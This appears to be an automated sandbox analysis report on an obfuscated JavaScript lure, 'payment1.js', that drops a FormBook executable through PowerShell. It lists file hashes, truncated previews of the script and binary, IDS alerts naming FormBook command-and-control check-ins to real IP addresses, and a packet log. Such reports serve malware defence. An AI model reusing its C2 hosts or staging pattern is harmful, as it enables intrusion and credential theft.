C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\5-A-10M

Process:	C:\Windows\SysWOW64\MRINFO.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rldydruw.t51.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzuop3dl.jo2.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\x.exe

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	413184
Entropy (8bit):	7.9357372035738
Encrypted:	false
SSDEEP:	12288:93EXwT/ZGtI7TVDQXBlNlUKDYC5X00vo82:dviMTVMXBlNmKE+XJQ8
MD5:	FEC299680E47D0901C60D84DD11EFC55
SHA1:	01663B35860B6E845F6D2A36A607F97D7F6AA185
SHA-256:	506D591BE3AE904CD52B172BE69B3CC51C570AF62B35B23666430DC965A5A118
SHA-512:	12B180C984DD2855A3D036A7E525D0CA1DF207FF6A518D3127B9BFC26B5EF60705197B45D7D0079C727ED8B1550DA5980A37C906B52248A45BED099A74D174F6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0..D...J.......c... ........@.. ....................................`.................................pc..W.................................................................................... ............... ..H............text....C... ...D.................. ..`.reloc...............F..............@..B.rsrc................H..............@..@.................c......H.......8...8i...........H..$...........................................".(.........0...........(......0..O.......s%.....(....%&}......}......}......}......(...}.....\|......(...+.\|....(u...%&..0..E.........(1...%&(/.....B(1...%&(/...%&..[(1...%&....(....%&(J...%&...(.........0............(/...%&....($....+....0............(....8f.....(......(....%&.(.........,'.E.........-......& ....(1...%&(....%&z...(...(d...%&.....(...X(d...%&.(....%&...(..........{.......(....

Static File Info

General

File type:	ASCII text, with very long lines (6696), with no line terminators
Entropy (8bit):	5.578028086864442
TrID:	Java Script (8504/1) 100.00%
File name:	payment1.js
File size:	6'696 bytes
MD5:	2654bc864c7151909126b25ea1c81b76
SHA1:	5ed041b8271952bdeb234412d57b08d62a2d76d5
SHA256:	c7416d2226ba27764dc40ad2b8288e051f7f40f116f5995388a3a88e55c4006f
SHA512:	0a3147b19d8ed6e2260be0d15385e98cb717ef34ac4157b5752c0328b8ce8eac81b806daa86af8039411634d3375266b29f033752a6101ef7b4a06256f6b3042
SSDEEP:	192:WOXm/Oy5y8BbUYBCO+dmHwYLBCTdCmRtUcDjOGEkCzvo:kOX8lUYBCOhwKMdDF1CA
TLSH:	F2D162443BD4A08537D75F67772B20D4F99D9C87AAE58C4FE854EC40EE805A0DED1938
File Content Preview:	var _0x36bb1e=_0x5598,_0x165511=_0x2aa5,_0x429836=_0xe32f;function _0x3d8f(){var _0x1bc8c2=['MSXML2.XMLHTTP','371190cReolU','rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU','q3jLyxrLt2jQzwn0','bab4W6tdK8oJrG','W4iJW43dGGa8W5i7W40iWOVcRq4','message',

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-18T08:14:24.465469+0100	2018856	ET MALWARE Windows executable base64 encoded	1	196.251.92.64	80	192.168.2.4	49731	TCP
2025-02-18T08:15:08.251077+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	52381	104.21.16.1	80	TCP
2025-02-18T08:15:23.924194+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52479	199.59.243.160	80	TCP
2025-02-18T08:15:26.471184+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52495	199.59.243.160	80	TCP
2025-02-18T08:15:29.004663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52511	199.59.243.160	80	TCP
2025-02-18T08:15:31.565835+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	52532	199.59.243.160	80	TCP
2025-02-18T08:15:37.053621+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52568	13.248.169.48	80	TCP
2025-02-18T08:15:39.727711+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52584	13.248.169.48	80	TCP
2025-02-18T08:15:42.257629+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52600	13.248.169.48	80	TCP
2025-02-18T08:15:44.793153+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	52619	13.248.169.48	80	TCP
2025-02-18T08:15:50.453083+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52656	162.0.231.203	80	TCP
2025-02-18T08:15:52.974967+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52657	162.0.231.203	80	TCP
2025-02-18T08:15:55.550608+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52658	162.0.231.203	80	TCP
2025-02-18T08:15:58.061120+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	52659	162.0.231.203	80	TCP
2025-02-18T08:16:03.677240+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52660	13.248.169.48	80	TCP
2025-02-18T08:16:06.212902+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52661	13.248.169.48	80	TCP
2025-02-18T08:16:08.776489+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52662	13.248.169.48	80	TCP
2025-02-18T08:16:14.361639+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	52663	13.248.169.48	80	TCP
2025-02-18T08:16:20.933176+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52664	47.83.1.90	80	TCP
2025-02-18T08:16:24.058104+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52665	47.83.1.90	80	TCP
2025-02-18T08:16:26.604887+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	52666	47.83.1.90	80	TCP
2025-02-18T08:16:29.221357+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	52667	47.83.1.90	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 18, 2025 08:14:23.378732920 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:23.383565903 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:23.383661985 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:23.383867979 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:23.388693094 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.092175007 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.092207909 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.092230082 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.092236042 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.092237949 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.092247009 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.092282057 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.218756914 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.218781948 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.218811989 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.218830109 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.218832970 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.218847990 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.218857050 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.218868017 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.218930960 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.219089985 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.219130993 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.219146967 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.219183922 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.219434023 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.219484091 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.219486952 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.219505072 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.219523907 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.219540119 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.345206976 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345220089 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345232964 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345313072 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.345324039 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345366001 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345371962 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345391035 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.345422983 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.345449924 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345455885 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.345710039 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.346187115 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.346194029 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.346205950 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.346282959 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.346293926 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.346412897 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.347067118 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.347433090 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.441428900 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.442543030 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.464917898 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.464945078 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.464951992 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465002060 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.465002060 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.465015888 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465023994 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465069056 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.465291977 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465337038 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465343952 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465373993 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.465409040 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.465468884 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465475082 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.465548038 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.466049910 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.466057062 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.466063976 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.466115952 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.466140985 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.466146946 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.466162920 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.466185093 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.466315985 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.467005014 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.467011929 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.467024088 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.467068911 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.467107058 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.467238903 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.584546089 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584558010 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584573984 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584585905 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584745884 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584748030 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.584752083 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584764957 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584805012 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.584831953 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584839106 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584851027 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584877014 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.584969997 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.584976912 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585025072 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.585706949 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585715055 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585727930 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585766077 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.585844994 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585851908 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585865021 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585896969 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.585899115 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.585903883 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.586050987 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.586685896 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.586692095 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.586708069 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.586824894 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.586831093 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.586858988 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.587107897 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.711575031 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711585045 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711703062 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711715937 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711728096 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711734056 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711761951 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711767912 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.711772919 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.711772919 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.711795092 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.711807966 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712069988 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712075949 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712086916 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712117910 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712156057 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712258101 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712264061 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712270975 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712306023 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712356091 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712510109 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712517023 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712523937 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712559938 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712685108 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712691069 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712853909 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.712872028 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712877989 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712889910 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.712924957 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.713047028 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713052988 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713184118 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.713219881 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713227034 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713238955 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713248014 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713275909 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.713300943 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.713815928 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713820934 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713835955 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713869095 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.713989973 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.713995934 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.714008093 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.714015007 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.714070082 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.714070082 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.714111090 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.714196920 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.831108093 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831120968 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831134081 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831139088 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831146002 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831152916 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831204891 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831211090 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831331015 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.831398964 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.831542015 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831547976 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831559896 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831603050 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.831712008 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831717968 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831729889 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831734896 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831741095 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831748009 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831760883 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831768990 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.831897974 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831904888 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.831923962 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.831962109 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.832412958 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.832575083 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.832581043 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.832592964 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.832602978 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.832628965 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.837946892 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838026047 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838089943 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838095903 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838105917 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838114023 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838120937 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838152885 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838268042 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838274002 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838285923 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838294029 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838325977 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838457108 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838463068 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838474989 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838483095 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838514090 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838537931 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838598967 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838676929 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.838958979 CET	80	49731	196.251.92.64	192.168.2.4
